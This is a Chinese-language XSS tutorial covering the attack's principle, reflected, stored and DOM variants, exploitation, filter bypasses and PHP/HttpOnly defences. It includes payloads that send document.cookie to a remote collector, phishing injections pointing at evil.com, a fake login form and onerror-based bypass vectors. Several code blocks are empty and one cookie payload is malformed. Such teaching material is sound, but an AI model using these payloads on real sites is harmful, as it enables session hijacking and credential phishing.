相关基础
浏览器工作机制
常见浏览器有IE、Firefox、Chrome等。这些浏览器的基本工作机制相同。
浏览器主要时解析渲染Web中间件相应的HTML、JavaScript、CSS等资源
JavaScript
一种轻量级编程语言,其代码可插入HTML页面,并由所有的现代浏览器执行。
它能够改变任意HTML元素的大多数属性,且常用于改善HTML的展现,为用户带来更好的体验
1 |
|
Cookie
简介
Cookie是用户浏览网页时网站存储在用户机器上的小文本文件,里面记录了和用户相关的一些状态或设置,如:用户名、ID、访问次数等,当用户下次访问此网站时,网站会先访问用户机器上对应的该网站的Cookie文件,例如:登陆页面的记住密码功能,在Cookie有效期内可直接鼎炉
根据Cookie时效性可分为两种类型:
持久型:以文本形式存储在硬盘上,由浏览器存取
临时型:亦称作会话Cookie,存储在内存中,当浏览器关闭后即消失
基础知识
Cookie时Web应用程序用来识别用户的凭证,且很多情况下时唯一的凭证。当用户第一次登陆网站时,网站会给用户发放一个唯一的Cookie,当用户再次登录网站时,凭借该Cookie,用户就无需再次进行登录操作
通过JS,浏览器可以操作用户的Cookie
浏览器地址栏输入:1
2// 查看某个网站颁发的Cookie
javascript:alert(document.cookie)
漏洞介绍
原理
XSS又叫CSS(Cross Site Script)跨站脚本攻击。它指的时攻击者往Web页面或URL里插入恶意JS代码,若Web应用程序对于用户输入没有过滤,那么当正常用户浏览该页面时,嵌入在Web页面里的恶意JavaScript脚本代码会被执行,从而达到恶意攻击正常用户的目的
服务端1
2
3
4<?php
$input = $_GET["param"];
echo "<div>".$input."</div>";
?>
用户提交1
<div><script>alert(/xss/)</script></div>
产生条件
- 可以控制输入点
- 输入能返回到前端页面上被浏览器当成脚本语言解释执行
危害
- Cookie窃取
- 会话劫持
- 键盘记录
- 客户端信息探查
- 网页挂马
- XSS蠕虫
XSS类别
DOM型
DOM(Document Object Model),是一个平台和语言都中立的接口,可以使程序和脚本能动态访问和更新文档的内容、结构以及样式
DOM-XSS简单理解为:输出点在DOM
存储型
存储型XSS又称为持久型XSS。攻击者上传的包含恶意JS脚本的留言等信息被Web应用程序保存到数据库中,Web应用程序在新生成页面时,如果包含了该恶意JS脚本,将会导致所有访问到该网页的浏览器执行该恶意JS脚本。这种攻击类型一般常见在博客、论坛等网站中
漏洞利用
常见用法
- 获取管理员权限(获取Cookie)
- 写配置文件Getshell
- 键盘记录
- 获取内网IP
…
Cookie获取
eg:
在远程服务器上,有一个接收和记录Cookies信息的文件1
2
3
4
5<script>
document.location="http://www.test.com/cookie.asp?cookie="+document.cookie
</script>
<img src="http://www.test.com/cookie.asp?cookie="+document.cookie></img>
1 |
|
1 |
|
会话劫持
由于Cookie存在一定的安全缺陷,开发者开始使用更为安全的Session认证方式
从网站访问者进入到离开的这段时间中,每个访问者都会得到一个单独的Session,Session时基于防伪的进程,记录了一个访问从开始到结束。当浏览器或进程关闭后,Session也消失了
Seesion与Cookie的最大区别:
- Session是保存在服务端的内存里
- Cookie保存在浏览器或客户端的文件里
钓鱼
重定向钓鱼
把当前页面重定向到一个钓鱼页面
eg1
http://www.bug.com/index.php?search="'><script>document.location.href="http://www.evil.com"</script>
HTML注入式钓鱼
使用XSS漏洞注入HTML或JavaScript代码到页面中
eg,该段代码会在正常页面中嵌入一个Form表单1
http://www.bug.com/index.php?search="'<html><head><title>login</title></head><body><div style="text-align:center;"><form method="Post" action="phishing.php" name="form"><br /><br />Login:<br /><input name="login" /><br />Password:<br /><input name="Password" type="password" /><br /><br /><input name="Valid" value="OK" type="submit" /><br /></form></div></body></html>
iframe钓鱼
通过<iframe>
标签嵌入远程域的一个页面实施钓鱼
eg1
http://www.bug.com/index.php?search='><iframe src="http://www.evil.com" height="100%" width="100%"></iframe>
Flash钓鱼
将构造好的Flash文件传入服务器,在目标网站用<object>
或<embed>
标签引用即可高级钓鱼技术
注入代码劫持HTML表单、使用JavaScript编写键盘记录器等
XSS漏洞深入利用
XSS蠕虫
通过精心构造的XSS代码,可以实现非法转账、篡改信息、删除文章、自我复制等诸多功能网页挂马
一般都是通过篡改网页的方式来实现
如:在XSS中使用<iframe>
标签DDOS攻击
注入恶意JavaScript代码,可能会引起一些拒绝服务攻击
宕机攻击
1 |
|
XSS平台搭建
XSS利用工具
经过测试,若发现了XSS漏洞,则可以结合一些XSS工具来进行利用,常见的有:
- BlueLotus_XSSReceier
- XSSer.me
- BeEF(Kali自带)
XSS变形与绕过
大小写混合字符
1 |
|
过滤尝试
1 |
|
使用其它标签
src属性1
2
3
4<img src=x onerror=alert(1)>
<img/src=x onerror=alert(1)>
<video src=x onerror=alert(1)>
<audio src="javascript:alert(2)">
iframe1
<iframe src="javascript:alert(2)">
利用属性绕过
1 |
|
利用事件绕过
1 |
|
圆括号被过滤
1 |
|
利用编码绕过
常用:
- URL编码
- unicode编码
- HTML编码
- CSS编码
防御与修复
使用htmlspecialchars()
将一些预定义字符转换成HTML实体
预定义的字符是:&
=> &
"
=> "
'
=> '
<
=> <
>
=> >
HTTP-only
当Cookie设置为HTTP-only之后,浏览器的Cookie无法通过客户端js脚本获取
eg1
Cookie: PHPSESSID=p31aa0tcd4h5qmgjsff87ie680; path=/; HttpOnly
补充
XSS小结
JavaScript能做的,XSS都能做,并且还能做一些HTML和CSS的内容
不使用script标签的XSS1
<img src="x" onerror="alert(1)">
用短信完成XSS
Verizon Messages(Message+)
是Verizon推出的一款开放跨平台信息交换应用程序,它允许用户在更多的无线设备中交换和共享信息。目前,该软件客户端支持跨平台使用,包括移动设备、桌面设备和Web段,并提升了VZW文字短信的用户体验度